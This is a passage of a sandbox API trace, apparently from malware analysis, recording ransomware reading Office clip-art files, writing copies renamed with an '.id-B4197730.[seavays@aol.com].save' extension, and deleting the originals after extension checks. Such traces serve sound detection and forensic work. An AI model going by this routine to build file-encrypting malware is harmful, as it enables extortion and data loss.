dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0168.080] SetEndOfFile (hFile=0x518) returned 1 [0168.083] CloseHandle (hObject=0x518) returned 1 [0168.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0168.084] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 1 [0168.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0168.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0168.085] lstrlenW (lpString=".doc") returned 4 [0168.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.085] lstrlenW (lpString=".docx") returned 5 [0168.085] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.085] lstrlenW (lpString=".pdf") returned 4 [0168.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.085] lstrlenW (lpString=".xls") returned 4 [0168.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.085] lstrlenW (lpString=".xlsx") returned 5 [0168.085] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.085] lstrlenW (lpString=".ppt") returned 4 [0168.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0168.086] lstrlenW (lpString=".zip") returned 4 [0168.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.086] lstrlenW (lpString=".rar") returned 4 [0168.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.086] lstrlenW (lpString=".bz2") returned 4 [0168.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.086] lstrlenW (lpString=".7z") returned 3 [0168.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0168.086] lstrlenW (lpString=".dbf") returned 4 [0168.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0168.086] lstrlenW (lpString=".1cd") returned 4 [0168.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0168.086] lstrlenW (lpString=".jpg") returned 4 [0168.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0168.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0168.086] lstrlenW (lpString=".doc") returned 4 [0168.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.086] lstrlenW (lpString=".docx") returned 5 [0168.086] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.086] lstrlenW (lpString=".pdf") returned 4 [0168.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.087] lstrlenW (lpString=".xls") returned 4 [0168.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.087] lstrlenW (lpString=".xlsx") returned 5 [0168.087] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.087] lstrlenW (lpString=".ppt") returned 4 [0168.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0168.087] lstrlenW (lpString=".zip") returned 4 [0168.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.087] lstrlenW (lpString=".rar") returned 4 [0168.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.087] lstrlenW (lpString=".bz2") returned 4 [0168.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.087] lstrlenW (lpString=".7z") returned 3 [0168.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0168.087] lstrlenW (lpString=".dbf") returned 4 [0168.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0168.087] lstrlenW (lpString=".1cd") returned 4 [0168.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0168.087] lstrlenW (lpString=".jpg") returned 4 [0168.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.088] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0168.088] lstrlenW (lpString="J0105244.WMF") returned 12 [0168.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0168.089] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=11228) returned 1 [0168.089] CloseHandle (hObject=0x518) returned 1 [0168.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 0x220 [0168.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0168.090] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0168.090] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0168.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0168.558] GetLastError () returned 0x0 [0168.558] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x2bdc, lpOverlapped=0x0) returned 1 [0168.561] WriteFile (in: hFile=0x510, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x2be0, lpOverlapped=0x0) returned 1 [0168.562] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0168.562] WriteFile (in: hFile=0x510, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0168.563] SetEndOfFile (hFile=0x510) returned 1 [0168.563] CloseHandle (hObject=0x510) returned 1 [0168.563] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0168.563] SetEndOfFile (hFile=0x518) returned 1 [0168.567] CloseHandle (hObject=0x518) returned 1 [0168.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0168.569] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 1 [0168.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0168.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0168.570] lstrlenW (lpString=".doc") returned 4 [0168.570] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.570] lstrlenW (lpString=".docx") returned 5 [0168.570] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.570] lstrlenW (lpString=".pdf") returned 4 [0168.570] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.570] lstrlenW (lpString=".xls") returned 4 [0168.570] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.570] lstrlenW (lpString=".xlsx") returned 5 [0168.570] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.570] lstrlenW (lpString=".ppt") returned 4 [0168.570] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0168.570] lstrlenW (lpString=".zip") returned 4 [0168.570] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.570] lstrlenW (lpString=".rar") returned 4 [0168.570] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.570] lstrlenW (lpString=".bz2") returned 4 [0168.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.570] lstrlenW (lpString=".7z") returned 3 [0168.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0168.571] lstrlenW (lpString=".dbf") returned 4 [0168.571] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0168.571] lstrlenW (lpString=".1cd") returned 4 [0168.571] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0168.571] lstrlenW (lpString=".jpg") returned 4 [0168.571] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0168.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0168.571] lstrlenW (lpString=".doc") returned 4 [0168.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.571] lstrlenW (lpString=".docx") returned 5 [0168.571] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.571] lstrlenW (lpString=".pdf") returned 4 [0168.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.571] lstrlenW (lpString=".xls") returned 4 [0168.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.571] lstrlenW (lpString=".xlsx") returned 5 [0168.571] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.571] lstrlenW (lpString=".ppt") returned 4 [0168.571] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0168.571] lstrlenW (lpString=".zip") returned 4 [0168.571] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.571] lstrlenW (lpString=".rar") returned 4 [0168.571] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.572] lstrlenW (lpString=".bz2") returned 4 [0168.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.572] lstrlenW (lpString=".7z") returned 3 [0168.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0168.572] lstrlenW (lpString=".dbf") returned 4 [0168.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0168.572] lstrlenW (lpString=".1cd") returned 4 [0168.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0168.572] lstrlenW (lpString=".jpg") returned 4 [0168.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.572] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0168.572] lstrlenW (lpString="J0105280.WMF") returned 12 [0168.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0168.574] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=11540) returned 1 [0168.574] CloseHandle (hObject=0x518) returned 1 [0168.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 0x220 [0168.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0168.575] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0168.575] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0168.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0168.576] GetLastError () returned 0x0 [0168.576] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x2d14, lpOverlapped=0x0) returned 1 [0168.578] WriteFile (in: hFile=0x510, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x2d20, lpOverlapped=0x0) returned 1 [0168.580] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0168.580] WriteFile (in: hFile=0x510, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0168.580] SetEndOfFile (hFile=0x510) returned 1 [0168.580] CloseHandle (hObject=0x510) returned 1 [0168.580] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0168.580] SetEndOfFile (hFile=0x518) returned 1 [0168.586] CloseHandle (hObject=0x518) returned 1 [0168.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0168.587] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 1 [0168.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0168.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0168.588] lstrlenW (lpString=".doc") returned 4 [0168.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.588] lstrlenW (lpString=".docx") returned 5 [0168.588] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.588] lstrlenW (lpString=".pdf") returned 4 [0168.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.588] lstrlenW (lpString=".xls") returned 4 [0168.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.588] lstrlenW (lpString=".xlsx") returned 5 [0168.588] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.588] lstrlenW (lpString=".ppt") returned 4 [0168.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0168.588] lstrlenW (lpString=".zip") returned 4 [0168.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.588] lstrlenW (lpString=".rar") returned 4 [0168.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.588] lstrlenW (lpString=".bz2") returned 4 [0168.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.589] lstrlenW (lpString=".7z") returned 3 [0168.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0168.589] lstrlenW (lpString=".dbf") returned 4 [0168.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0168.589] lstrlenW (lpString=".1cd") returned 4 [0168.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0168.589] lstrlenW (lpString=".jpg") returned 4 [0168.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0168.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0168.589] lstrlenW (lpString=".doc") returned 4 [0168.589] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.589] lstrlenW (lpString=".docx") returned 5 [0168.589] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.589] lstrlenW (lpString=".pdf") returned 4 [0168.589] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.589] lstrlenW (lpString=".xls") returned 4 [0168.589] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.589] lstrlenW (lpString=".xlsx") returned 5 [0168.589] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.589] lstrlenW (lpString=".ppt") returned 4 [0168.589] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0168.589] lstrlenW (lpString=".zip") returned 4 [0168.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.590] lstrlenW (lpString=".rar") returned 4 [0168.590] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.590] lstrlenW (lpString=".bz2") returned 4 [0168.590] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.590] lstrlenW (lpString=".7z") returned 3 [0168.590] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0168.590] lstrlenW (lpString=".dbf") returned 4 [0168.590] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0168.590] lstrlenW (lpString=".1cd") returned 4 [0168.590] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0168.590] lstrlenW (lpString=".jpg") returned 4 [0168.590] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.591] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0168.591] lstrlenW (lpString="J0105282.WMF") returned 12 [0168.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0168.592] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=4796) returned 1 [0168.592] CloseHandle (hObject=0x518) returned 1 [0168.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 0x220 [0168.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0168.592] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0168.593] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0168.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0168.593] GetLastError () returned 0x0 [0168.594] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x12bc, lpOverlapped=0x0) returned 1 [0168.794] WriteFile (in: hFile=0x510, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x12c0, lpOverlapped=0x0) returned 1 [0168.795] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0168.795] WriteFile (in: hFile=0x510, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0168.795] SetEndOfFile (hFile=0x510) returned 1 [0168.796] CloseHandle (hObject=0x510) returned 1 [0168.796] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0168.796] SetEndOfFile (hFile=0x518) returned 1 [0168.800] CloseHandle (hObject=0x518) returned 1 [0168.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0168.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 1 [0168.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0168.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0168.801] lstrlenW 